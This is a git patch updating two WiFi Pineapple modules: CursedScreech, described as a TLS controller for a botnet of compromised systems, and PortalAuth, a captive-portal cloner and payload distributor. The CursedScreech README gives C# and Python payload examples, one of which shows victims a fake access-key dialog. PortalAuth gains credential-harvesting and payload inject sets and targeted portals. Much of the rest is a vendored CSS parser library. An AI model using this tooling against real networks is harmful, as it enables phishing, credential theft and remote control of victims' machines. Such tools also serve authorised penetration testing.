From 5189bc5bc3efaecd187fe2285a34fd5490d0f78d Mon Sep 17 00:00:00 2001 From: sud0nick Date: Sun, 15 Jul 2018 23:51:02 -0400 Subject: [PATCH] Portal Auth and Cursed Screech Updates --- CursedScreech/README.md | 66 + CursedScreech/api/module.php | 8 + CursedScreech/includes/changelog/Version 1.5 | 4 + CursedScreech/module.info | 2 +- PortalAuth/README.md | 2 + PortalAuth/api/module.php | 22 +- PortalAuth/includes/changelog/Version 1.7 | 6 + PortalAuth/includes/help/cloner.help | 1 + PortalAuth/includes/scripts/PortalCloner.py | 11 +- .../scripts/injects/Blank/MyPortal.php | 4 +- .../injects/Blank/backups/MyPortal.php | 4 +- .../scripts/injects/Blank/backups/helper.php | 45 + .../includes/scripts/injects/Blank/helper.php | 45 + .../injects/Free_WiFi_Week/MyPortal.php | 4 +- .../Free_WiFi_Week/backups/MyPortal.php | 4 +- .../injects/Free_WiFi_Week/backups/helper.php | 45 + .../scripts/injects/Free_WiFi_Week/helper.php | 45 + .../scripts/injects/Harvester/MyPortal.php | 4 +- .../injects/Harvester/backups/MyPortal.php | 4 +- .../injects/Harvester/backups/helper.php | 45 + .../scripts/injects/Harvester/helper.php | 45 + .../scripts/injects/Payloader/MyPortal.php | 4 +- .../injects/Payloader/backups/MyPortal.php | 4 +- .../injects/Payloader/backups/helper.php | 45 + .../scripts/injects/Payloader/helper.php | 45 + .../scripts/libs/tinycss.egg-info/PKG-INFO | 17 +- .../scripts/libs/tinycss.egg-info/SOURCES.txt | 6 +- .../libs/tinycss.egg-info/requires.txt | 6 + .../includes/scripts/libs/tinycss/.coveragerc | 10 + .../includes/scripts/libs/tinycss/.gitignore | 12 + .../includes/scripts/libs/tinycss/.travis.yml | 16 + .../includes/scripts/libs/tinycss/CHANGES | 53 + .../includes/scripts/libs/tinycss/LICENSE | 31 + .../includes/scripts/libs/tinycss/MANIFEST.in | 3 + .../includes/scripts/libs/tinycss/PKG-INFO | 47 + .../includes/scripts/libs/tinycss/README.rst | 26 + .../libs/tinycss/docs/_static/custom.css | 24 + .../libs/tinycss/docs/_templates/layout.html | 4 + .../scripts/libs/tinycss/docs/changelog.rst | 1 + .../scripts/libs/tinycss/docs/conf.py | 252 + .../scripts/libs/tinycss/docs/css3.rst | 116 + .../scripts/libs/tinycss/docs/extending.rst | 97 + .../scripts/libs/tinycss/docs/hacking.rst | 117 + .../scripts/libs/tinycss/docs/index.rst | 50 + .../scripts/libs/tinycss/docs/parsing.rst | 97 + .../includes/scripts/libs/tinycss/setup.cfg | 23 + .../includes/scripts/libs/tinycss/setup.py | 127 + .../includes/scripts/libs/tinycss/speedups.c | 5375 ----------------- .../libs/tinycss/tests/test_tokenizer.py | 310 - .../libs/tinycss/{ => tinycss}/__init__.py | 11 +- .../libs/tinycss/{ => tinycss}/color3.py | 5 +- .../libs/tinycss/{ => tinycss}/css21.py | 70 +- .../libs/tinycss/{ => tinycss}/decoding.py | 160 +- .../scripts/libs/tinycss/tinycss/fonts3.py | 200 + .../libs/tinycss/{ => tinycss}/page3.py | 29 +- .../libs/tinycss/{ => tinycss}/parsing.py | 7 +- .../libs/tinycss/{ => tinycss}/speedups.pyx | 2 +- .../tinycss/{ => tinycss}/tests/__init__.py | 10 +- .../libs/tinycss/{ => tinycss}/tests/speed.py | 13 +- .../tinycss/{ => tinycss}/tests/test_api.py | 4 +- .../{ => tinycss}/tests/test_color3.py | 53 +- .../tinycss/{ => tinycss}/tests/test_css21.py | 15 +- .../{ => tinycss}/tests/test_decoding.py | 7 +- .../libs/tinycss/tinycss/tests/test_fonts3.py | 144 + .../tinycss/{ => tinycss}/tests/test_page3.py | 29 +- .../tinycss/tinycss/tests/test_tokenizer.py | 302 + .../libs/tinycss/{ => tinycss}/token_data.py | 23 +- .../libs/tinycss/{ => tinycss}/tokenizer.py | 37 +- .../scripts/libs/tinycss/tinycss/version.py | 1 + .../includes/scripts/libs/tinycss/version.py | 1 - PortalAuth/includes/scripts/portalclone.py | 3 +- .../includes/scripts/skeleton/MyPortal.php | 42 +- .../includes/scripts/skeleton/helper.php | 45 + PortalAuth/js/module.js | 5 +- PortalAuth/module.html | 5 + PortalAuth/module.info | 2 +- 76 files changed, 2585 insertions(+), 5974 deletions(-) create mode 100644 CursedScreech/README.md create mode 100644 CursedScreech/includes/changelog/Version 1.5 create mode 100644 PortalAuth/README.md create mode 100644 PortalAuth/includes/changelog/Version 1.7 create mode 100644 PortalAuth/includes/scripts/injects/Blank/backups/helper.php create mode 100644 PortalAuth/includes/scripts/injects/Blank/helper.php create mode 100644 PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/helper.php create mode 100644 PortalAuth/includes/scripts/injects/Free_WiFi_Week/helper.php create mode 100644 PortalAuth/includes/scripts/injects/Harvester/backups/helper.php create mode 100644 PortalAuth/includes/scripts/injects/Harvester/helper.php create mode 100644 PortalAuth/includes/scripts/injects/Payloader/backups/helper.php create mode 100644 PortalAuth/includes/scripts/injects/Payloader/helper.php create mode 100644 PortalAuth/includes/scripts/libs/tinycss.egg-info/requires.txt create mode 100644 PortalAuth/includes/scripts/libs/tinycss/.coveragerc create mode 100644 PortalAuth/includes/scripts/libs/tinycss/.gitignore create mode 100644 PortalAuth/includes/scripts/libs/tinycss/.travis.yml create mode 100644 PortalAuth/includes/scripts/libs/tinycss/CHANGES create mode 100644 PortalAuth/includes/scripts/libs/tinycss/LICENSE create mode 100644 PortalAuth/includes/scripts/libs/tinycss/MANIFEST.in create mode 100644 PortalAuth/includes/scripts/libs/tinycss/PKG-INFO create mode 100644 PortalAuth/includes/scripts/libs/tinycss/README.rst create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/_static/custom.css create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/_templates/layout.html create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/changelog.rst create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/conf.py create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/css3.rst create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/extending.rst create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/hacking.rst create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/index.rst create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/parsing.rst create mode 100644 PortalAuth/includes/scripts/libs/tinycss/setup.cfg create mode 100644 PortalAuth/includes/scripts/libs/tinycss/setup.py delete mode 100755 PortalAuth/includes/scripts/libs/tinycss/speedups.c delete mode 100755 PortalAuth/includes/scripts/libs/tinycss/tests/test_tokenizer.py rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/__init__.py (85%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/color3.py (99%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/css21.py (94%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/decoding.py (61%) mode change 100755 => 100644 create mode 100644 PortalAuth/includes/scripts/libs/tinycss/tinycss/fonts3.py rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/page3.py (86%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/parsing.py (97%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/speedups.pyx (99%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/tests/__init__.py (70%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/tests/speed.py (96%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/tests/test_api.py (97%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/tests/test_color3.py (80%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/tests/test_css21.py (97%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/tests/test_decoding.py (96%) mode change 100755 => 100644 create mode 100644 PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_fonts3.py rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/tests/test_page3.py (81%) mode change 100755 => 100644 create mode 100644 PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_tokenizer.py rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/token_data.py (96%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/tokenizer.py (90%) mode change 100755 => 100644 create mode 100644 PortalAuth/includes/scripts/libs/tinycss/tinycss/version.py delete mode 100755 PortalAuth/includes/scripts/libs/tinycss/version.py create mode 100644 PortalAuth/includes/scripts/skeleton/helper.php diff --git a/CursedScreech/README.md b/CursedScreech/README.md new file mode 100644 index 0000000..8693f36 --- /dev/null +++ b/CursedScreech/README.md @@ -0,0 +1,66 @@ +# CursedScreech + +A mass communicator module for the WiFi Pineapple that utilizes TLS to control a botnet of compromised systems. Included is a C# API and Python API (with documentation) to write payloads that can communicate with CursedScreech and PortalAuth. + + +# APIs +I recommend using C# over Python to build your payload. Both APIs are really simple to use but using C# will allow you to create a self-contained executable along with required keys/certificates. Writing your payload in Python will require you to freeze your code and it can be difficult, if not impossible, to include all required files in a single executable. If you can't make a single executable you will have to find a way to move the whole dist directory to the target machine. + +### C# API Example +``` +using System; +using System.Drawing; +using System.Windows.Forms; +using PineappleModules; + +namespace Payload +{ + public partial class Form1 : Form { + + PA_Authorization pauth = new PA_Authorization(); + + public Form1() { + InitializeComponent(); + + CursedScreech cs = new CursedScreech(); + cs.startMulticaster("231.253.78.29", 19578); + cs.setRemoteCertificateSerial("EF-BE-AD-DE"); + cs.setRemoteCertificateHash("1234567890ABCDEF"); + cs.startSecureServerThread("Payload.Payload.pfx", "#$My$ecuR3P4ssw*rd&"); + } + private void Form1_FormClosing(object sender, FormClosingEventArgs e) { + e.Cancel = true; + this.Hide(); + } + private void accessKeyButton_Click(object sender, EventArgs e) { + + // Request an access key from the Pineapple + string key = pauth.getAccessKey(); + + // Check if a key was returned + string msg; + if (key.Length > 0) { + msg = "Your access key is unique to you so DO NOT give it away!\n\nAccess Key: " + key; + } + else { + msg = "Failed to retrieve an access key from the server. Please try again later."; + } + + // Display message to the user + MessageBox.Show(msg); + } + } +} + +``` + + +### Python API Example +``` +from PineappleModules import CursedScreech + +cs = CursedScreech("Network Client") +cs.startMulticaster("231.253.78.29", 19578) +cs.setRemoteCertificateSerial("ABCDEF1234567890") +cs.startSecureServerThread("payload.pem", "payload.cer", "cursedscreech.cer") +``` diff --git a/CursedScreech/api/module.php b/CursedScreech/api/module.php index 17c711b..686ae8c 100755 --- a/CursedScreech/api/module.php +++ b/CursedScreech/api/module.php @@ -165,6 +165,14 @@ class CursedScreech extends Module { return false; } } + + if (!file_exists(__TARGETLOGS__)) { + if (!mkdir(__TARGETLOGS__, 0755, true)) { + $this->logError("Failed init", "Failed to initialize because the targetlogs directory at '" . __TARGETLOGS__ . "' could not be created."); + $this->respond(false); + return false; + } + } } /* ============================ */ diff --git a/CursedScreech/includes/changelog/Version 1.5 b/CursedScreech/includes/changelog/Version 1.5 new file mode 100644 index 0000000..22bf05d --- /dev/null +++ b/CursedScreech/includes/changelog/Version 1.5 @@ -0,0 +1,4 @@ +July 15, 2018 +

+ - Added check for targetlogs directory at startup
+ \ No newline at end of file diff --git a/CursedScreech/module.info b/CursedScreech/module.info index 8dcf583..693eda7 100755 --- a/CursedScreech/module.info +++ b/CursedScreech/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "CursedScreech", - "version": "1.4" + "version": "1.5" } diff --git a/PortalAuth/README.md b/PortalAuth/README.md new file mode 100644 index 0000000..0c64461 --- /dev/null +++ b/PortalAuth/README.md @@ -0,0 +1,2 @@ +# PortalAuth +Captive portal cloner and payload distributor for the WiFi Pineapple NANO and TETRA diff --git a/PortalAuth/api/module.php b/PortalAuth/api/module.php index 440f5d6..b851a9a 100755 --- a/PortalAuth/api/module.php +++ b/PortalAuth/api/module.php @@ -11,11 +11,11 @@ define('__LOGS__', __INCLUDES__ . "logs/"); define('__HELPFILES__', __INCLUDES__ . "help/"); define('__CHANGELOGS__', __INCLUDES__ . "changelog/"); define('__SCRIPTS__', __INCLUDES__ . "scripts/"); - + // Injection set defines define('__INJECTS__', __SCRIPTS__ . "injects/"); define('__SKELETON__', __SCRIPTS__. "skeleton/"); - + // NetClient defines define('__DOWNLOAD__', "/www/download/"); define('__WINDL__', __DOWNLOAD__ . "windows/"); @@ -25,6 +25,7 @@ define('__IOSDL__', __DOWNLOAD__ . "ios/"); // PASS defines define('__PASSDIR__', __INCLUDES__ . "pass/"); +define('__KEYDIR__', __PASSDIR__ . "keys/"); define('__PASSSRV__', __PASSDIR__ . "pass.py"); define('__PASSBAK__', __PASSDIR__ . "Backups/pass.py"); define('__PASSLOG__', __PASSDIR__ . "pass.log"); @@ -240,7 +241,14 @@ class PortalAuth extends Module private function init() { if (!file_exists(__LOGS__)) { if (!mkdir(__LOGS__, 0755, true)) { - $this->respond(false, "Failed to create logs directory"); + $this->respond(false, "Failed to create logs directory at " . __LOGS__); + return false; + } + } + if (!file_exists(__KEYDIR__)) { + if (!mkdir(__KEYDIR__, 0755, true)) { + $this->logError("Failed init", "Failed to initialize because the keys directory at '" . __KEYDIR__ . "' could not be created."); + $this->respond(false); return false; } } @@ -284,7 +292,13 @@ class PortalAuth extends Module //======================// private function checkIsOnline() { - $this->respond(checkdnsrr("wifipineapple.com", "A")); + $connected = @fsockopen("www.wifipineapple.com", 443); + if ($connected) { + fclose($connected); + $this->respond(true); + return true; + } + $this->respond(false); } private function getCapturedCreds() { if (file_exists(__AUTHLOG__)) { diff --git a/PortalAuth/includes/changelog/Version 1.7 b/PortalAuth/includes/changelog/Version 1.7 new file mode 100644 index 0000000..e91b273 --- /dev/null +++ b/PortalAuth/includes/changelog/Version 1.7 @@ -0,0 +1,6 @@ +July 15, 2018 +

+ - Added check for keys directory at startup
+ - Updated TinyCSS lib to v0.4
+ - Updated format of cloned portals to function with the latest Evil Portal
+ - Added Basic and Targeted portal types for cloned portals
\ No newline at end of file diff --git a/PortalAuth/includes/help/cloner.help b/PortalAuth/includes/help/cloner.help index 6c78539..77f355c 100755 --- a/PortalAuth/includes/help/cloner.help +++ b/PortalAuth/includes/help/cloner.help @@ -25,3 +25,4 @@ Select these checkboxes to modify the cloned portal.

Inject JS: Injects the JavaScript from the selected Injection Set into the portal.
Inject CSS: Injects the CSS from the selected Injection Set into the portal.
Inject HTML: Injects the HTML from the selected Injection Set into the portal.
+Targeted Portal: Makes the cloned portal a targeted portal in the Evil Portal module.
\ No newline at end of file diff --git a/PortalAuth/includes/scripts/PortalCloner.py b/PortalAuth/includes/scripts/PortalCloner.py index 3cadc21..4442ea4 100755 --- a/PortalAuth/includes/scripts/PortalCloner.py +++ b/PortalAuth/includes/scripts/PortalCloner.py @@ -21,7 +21,7 @@ from bs4 import BeautifulSoup class PortalCloner: - def __init__(self, portalName, directory, injectSet): + def __init__(self, portalName, directory, injectSet, targeted): self.portalName = portalName self.portalDirectory = directory + self.portalName + "/" self.resourceDirectory = self.portalDirectory + "resources/" @@ -33,6 +33,7 @@ class PortalCloner: self.session = requests.Session() self.basePath = '/pineapple/modules/PortalAuth/' self.uas = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"} + self.targeted = targeted def find_meta_refresh(self, r): @@ -302,10 +303,16 @@ class PortalCloner: # Copy the MyPortal PHP script to portalDirectory shutil.copy(self.basePath + 'includes/scripts/injects/' + self.injectionSet + '/MyPortal.php', self.portalDirectory) + + # Copy the helper PHP script to portalDirectory + shutil.copy(self.basePath + 'includes/scripts/injects/' + self.injectionSet + '/helper.php', self.portalDirectory) # Create the required .ep file with open(self.portalDirectory + self.portalName + ".ep", 'w+') as epFile: - epFile.write("DO NOT DELETE THIS") + if self.targeted: + epFile.write("{\"name\":\"" + self.portalName + "\",\"type\":\"targeted\",\"targeted_rules\":{\"default\":\"default.php\",\"rule_order\":[\"mac\",\"ssid\",\"hostname\",\"useragent\"],\"rules\":{\"mac\":{\"exact\":[],\"regex\":[]},\"ssid\":{\"exact\":[],\"regex\":[]},\"hostname\":{\"exact\":[],\"regex\":[]},\"useragent\":{\"exact\":[],\"regex\":[]}}}}") + else: + epFile.write("{\"name\":\"" + self.portalName + "\",\"type\":\"basic\"}") # Copy jquery to the portal directory shutil.copy(self.basePath + 'includes/scripts/jquery-2.2.1.min.js', self.portalDirectory) diff --git a/PortalAuth/includes/scripts/injects/Blank/MyPortal.php b/PortalAuth/includes/scripts/injects/Blank/MyPortal.php index 06bfa4f..a891616 100755 --- a/PortalAuth/includes/scripts/injects/Blank/MyPortal.php +++ b/PortalAuth/includes/scripts/injects/Blank/MyPortal.php @@ -11,10 +11,10 @@ class MyPortal extends Portal // Check for other form data here } - public function showSuccess() + public function onSuccess() { // Calls default success message - parent::showSuccess(); + parent::onSuccess(); } public function showError() diff --git a/PortalAuth/includes/scripts/injects/Blank/backups/MyPortal.php b/PortalAuth/includes/scripts/injects/Blank/backups/MyPortal.php index 06bfa4f..a891616 100755 --- a/PortalAuth/includes/scripts/injects/Blank/backups/MyPortal.php +++ b/PortalAuth/includes/scripts/injects/Blank/backups/MyPortal.php @@ -11,10 +11,10 @@ class MyPortal extends Portal // Check for other form data here } - public function showSuccess() + public function onSuccess() { // Calls default success message - parent::showSuccess(); + parent::onSuccess(); } public function showError() diff --git a/PortalAuth/includes/scripts/injects/Blank/backups/helper.php b/PortalAuth/includes/scripts/injects/Blank/backups/helper.php new file mode 100644 index 0000000..046684c --- /dev/null +++ b/PortalAuth/includes/scripts/injects/Blank/backups/helper.php @@ -0,0 +1,45 @@ +`_ project. +* Simplify the API for :func:`~tinycss.make_parser`. + + +Version 0.1.1 +------------- + +Released on 2012-04-06. + +Bug fixes: + +* Error handling on exepected end of stylesheet in an at-rule head +* Fix the installation on ASCII-only locales + + +Version 0.1 +----------- + +Released on 2012-04-05. + +First release. Parser support for CSS 2.1, Seloctors 3, Color 3 and +Paged Media 3. diff --git a/PortalAuth/includes/scripts/libs/tinycss/LICENSE b/PortalAuth/includes/scripts/libs/tinycss/LICENSE new file mode 100644 index 0000000..52d60c5 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/LICENSE @@ -0,0 +1,31 @@ +Copyright (c) 2012 by Simon Sapin. + +Some rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following + disclaimer in the documentation and/or other materials provided + with the distribution. + + * The names of the contributors may not be used to endorse or + promote products derived from this software without specific + prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/PortalAuth/includes/scripts/libs/tinycss/MANIFEST.in b/PortalAuth/includes/scripts/libs/tinycss/MANIFEST.in new file mode 100644 index 0000000..4847068 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/MANIFEST.in @@ -0,0 +1,3 @@ +include README.rst CHANGES LICENSE tox.ini .coveragerc tinycss/speedups.c +recursive-include docs * +prune docs/_build diff --git a/PortalAuth/includes/scripts/libs/tinycss/PKG-INFO b/PortalAuth/includes/scripts/libs/tinycss/PKG-INFO new file mode 100644 index 0000000..710dc9c --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/PKG-INFO @@ -0,0 +1,47 @@ +Metadata-Version: 1.1 +Name: tinycss +Version: 0.4 +Summary: tinycss is a complete yet simple CSS parser for Python. +Home-page: http://tinycss.readthedocs.io/ +Author: Simon Sapin +Author-email: simon.sapin@exyr.org +License: BSD +Description: tinycss: CSS parser for Python + ============================== + + *tinycss* is a complete yet simple CSS parser for Python. It supports the full + syntax and error handling for CSS 2.1 as well as some CSS 3 modules: + + * CSS Color 3 + * CSS Fonts 3 + * CSS Paged Media 3 + + It is designed to be easy to extend for new CSS modules and syntax, + and integrates well with cssselect_ for Selectors 3 support. + + Quick facts: + + * Free software: BSD licensed + * Compatible with Python 2.7 and 3.x + * Latest documentation `on python.org`_ + * Source, issues and pull requests `on Github`_ + * Releases `on PyPI`_ + * Install with ``pip install tinycss`` + + .. _cssselect: http://packages.python.org/cssselect/ + .. _on python.org: http://packages.python.org/tinycss/ + .. _on Github: https://github.com/SimonSapin/tinycss/ + .. _on PyPI: http://pypi.python.org/pypi/tinycss + +Platform: UNKNOWN +Classifier: Development Status :: 4 - Beta +Classifier: Intended Audience :: Developers +Classifier: License :: OSI Approved :: BSD License +Classifier: Programming Language :: Python :: 2 +Classifier: Programming Language :: Python :: 2.7 +Classifier: Programming Language :: Python :: 3 +Classifier: Programming Language :: Python :: 3.3 +Classifier: Programming Language :: Python :: 3.4 +Classifier: Programming Language :: Python :: 3.5 +Classifier: Programming Language :: Python :: Implementation :: CPython +Classifier: Programming Language :: Python :: Implementation :: PyPy diff --git a/PortalAuth/includes/scripts/libs/tinycss/README.rst b/PortalAuth/includes/scripts/libs/tinycss/README.rst new file mode 100644 index 0000000..9f1879b --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/README.rst @@ -0,0 +1,26 @@ +tinycss: CSS parser for Python +============================== + +*tinycss* is a complete yet simple CSS parser for Python. It supports the full +syntax and error handling for CSS 2.1 as well as some CSS 3 modules: + +* CSS Color 3 +* CSS Fonts 3 +* CSS Paged Media 3 + +It is designed to be easy to extend for new CSS modules and syntax, +and integrates well with cssselect_ for Selectors 3 support. + +Quick facts: + +* Free software: BSD licensed +* Compatible with Python 2.7 and 3.x +* Latest documentation `on python.org`_ +* Source, issues and pull requests `on Github`_ +* Releases `on PyPI`_ +* Install with ``pip install tinycss`` + +.. _cssselect: http://packages.python.org/cssselect/ +.. _on python.org: http://packages.python.org/tinycss/ +.. _on Github: https://github.com/SimonSapin/tinycss/ +.. _on PyPI: http://pypi.python.org/pypi/tinycss diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/_static/custom.css b/PortalAuth/includes/scripts/libs/tinycss/docs/_static/custom.css new file mode 100644 index 0000000..ea5c271 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/_static/custom.css @@ -0,0 +1,24 @@ +div.body { + text-align: left; +} +div.document p, div.document ul { + margin-top: 0; + margin-bottom: 1em; +} +div.document ul ul { + margin-top: 0; + margin-bottom: .5em; +} +.field-name { + padding-right: .5em; +} +table.field-list p, table.field-list ul { + margin-bottom: .5em; +} +table { + border-collapse: collapse; + margin-bottom: 1em; +} +table.docutils td, table.docutils th { + padding: .2em .5em; +} diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/_templates/layout.html b/PortalAuth/includes/scripts/libs/tinycss/docs/_templates/layout.html new file mode 100644 index 0000000..3ac9078 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/_templates/layout.html @@ -0,0 +1,4 @@ +{% extends "!layout.html" %} +{% block extrahead %} + +{% endblock %} diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/changelog.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/changelog.rst new file mode 100644 index 0000000..d6c5f48 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/changelog.rst @@ -0,0 +1 @@ +.. include:: ../CHANGES diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/conf.py b/PortalAuth/includes/scripts/libs/tinycss/docs/conf.py new file mode 100644 index 0000000..fa7da0a --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/conf.py @@ -0,0 +1,252 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# +# tinycss documentation build configuration file, created by +# sphinx-quickstart on Tue Mar 27 14:20:34 2012. +# +# This file is execfile()d with the current directory set to its containing dir. +# +# Note that not all possible configuration values are present in this +# autogenerated file. +# +# All configuration values have a default; values that are commented out +# serve to show the default. + +import sys, os + +# If extensions (or modules to document with autodoc) are in another directory, +# add these directories to sys.path here. If the directory is relative to the +# documentation root, use os.path.abspath to make it absolute, like shown here. +#sys.path.insert(0, os.path.abspath('.')) + +# -- General configuration ----------------------------------------------------- + +# If your documentation needs a minimal Sphinx version, state it here. +#needs_sphinx = '1.0' + +# Add any Sphinx extension module names here, as strings. They can be extensions +# coming with Sphinx (named 'sphinx.ext.*') or your custom ones. +extensions = ['sphinx.ext.autodoc', 'sphinx.ext.intersphinx', + 'sphinx.ext.viewcode', 'sphinx.ext.doctest'] + +# Add any paths that contain templates here, relative to this directory. +templates_path = ['_templates'] + +# The suffix of source filenames. +source_suffix = '.rst' + +# The encoding of source files. +#source_encoding = 'utf-8-sig' + +# The master toctree document. +master_doc = 'index' + +# General information about the project. +project = 'tinycss' +copyright = '2012, Simon Sapin' + +# The version info for the project you're documenting, acts as replacement for +# |version| and |release|, also used in various other places throughout the +# built documents. +# +# The full version, including alpha/beta/rc tags. +#release = '0.1dev' +import re +with open(os.path.join(os.path.dirname(__file__), '..', + 'tinycss', 'version.py')) as init_py: + release = re.search("VERSION = '([^']+)'", init_py.read()).group(1) +# The short X.Y version. +version = release.rstrip('dev') + +# The language for content autogenerated by Sphinx. Refer to documentation +# for a list of supported languages. +#language = None + +# There are two options for replacing |today|: either, you set today to some +# non-false value, then it is used: +#today = '' +# Else, today_fmt is used as the format for a strftime call. +#today_fmt = '%B %d, %Y' + +# List of patterns, relative to source directory, that match files and +# directories to ignore when looking for source files. +exclude_patterns = ['_build'] + +# The reST default role (used for this markup: `text`) to use for all documents. +#default_role = None + +# If true, '()' will be appended to :func: etc. cross-reference text. +#add_function_parentheses = True + +# If true, the current module name will be prepended to all description +# unit titles (such as .. function::). +#add_module_names = True + +# If true, sectionauthor and moduleauthor directives will be shown in the +# output. They are ignored by default. +#show_authors = False + +# The name of the Pygments (syntax highlighting) style to use. +pygments_style = 'sphinx' + +# A list of ignored prefixes for module index sorting. +#modindex_common_prefix = [] + + +# -- Options for HTML output --------------------------------------------------- + +# The theme to use for HTML and HTML Help pages. See the documentation for +# a list of builtin themes. +#html_theme = 'agogo' + +# Theme options are theme-specific and customize the look and feel of a theme +# further. For a list of options available for each theme, see the +# documentation. +#html_theme_options = {} + +# Add any paths that contain custom themes here, relative to this directory. +#html_theme_path = [] + +# The name for this set of Sphinx documents. If None, it defaults to +# " v documentation". +#html_title = None + +# A shorter title for the navigation bar. Default is the same as html_title. +#html_short_title = None + +# The name of an image file (relative to this directory) to place at the top +# of the sidebar. +#html_logo = None + +# The name of an image file (within the static path) to use as favicon of the +# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 +# pixels large. +#html_favicon = None + +# Add any paths that contain custom static files (such as style sheets) here, +# relative to this directory. They are copied after the builtin static files, +# so a file named "default.css" will overwrite the builtin "default.css". +html_static_path = ['_static'] + +# If not '', a 'Last updated on:' timestamp is inserted at every page bottom, +# using the given strftime format. +#html_last_updated_fmt = '%b %d, %Y' + +# If true, SmartyPants will be used to convert quotes and dashes to +# typographically correct entities. +#html_use_smartypants = True + +# Custom sidebar templates, maps document names to template names. +#html_sidebars = {} + +# Additional templates that should be rendered to pages, maps page names to +# template names. +#html_additional_pages = {} + +# If false, no module index is generated. +#html_domain_indices = True + +# If false, no index is generated. +#html_use_index = True + +# If true, the index is split into individual pages for each letter. +#html_split_index = False + +# If true, links to the reST sources are added to the pages. +#html_show_sourcelink = True + +# If true, "Created using Sphinx" is shown in the HTML footer. Default is True. +#html_show_sphinx = True + +# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. +#html_show_copyright = True + +# If true, an OpenSearch description file will be output, and all pages will +# contain a tag referring to it. The value of this option must be the +# base URL from which the finished HTML is served. +#html_use_opensearch = '' + +# This is the file name suffix for HTML files (e.g. ".xhtml"). +#html_file_suffix = None + +# Output file base name for HTML help builder. +htmlhelp_basename = 'tinycssdoc' + + +# -- Options for LaTeX output -------------------------------------------------- + +latex_elements = { +# The paper size ('letterpaper' or 'a4paper'). +#'papersize': 'letterpaper', + +# The font size ('10pt', '11pt' or '12pt'). +#'pointsize': '10pt', + +# Additional stuff for the LaTeX preamble. +#'preamble': '', +} + +# Grouping the document tree into LaTeX files. List of tuples +# (source start file, target name, title, author, documentclass [howto/manual]). +latex_documents = [ + ('index', 'tinycss.tex', 'tinycss Documentation', + 'Simon Sapin', 'manual'), +] + +# The name of an image file (relative to this directory) to place at the top of +# the title page. +#latex_logo = None + +# For "manual" documents, if this is true, then toplevel headings are parts, +# not chapters. +#latex_use_parts = False + +# If 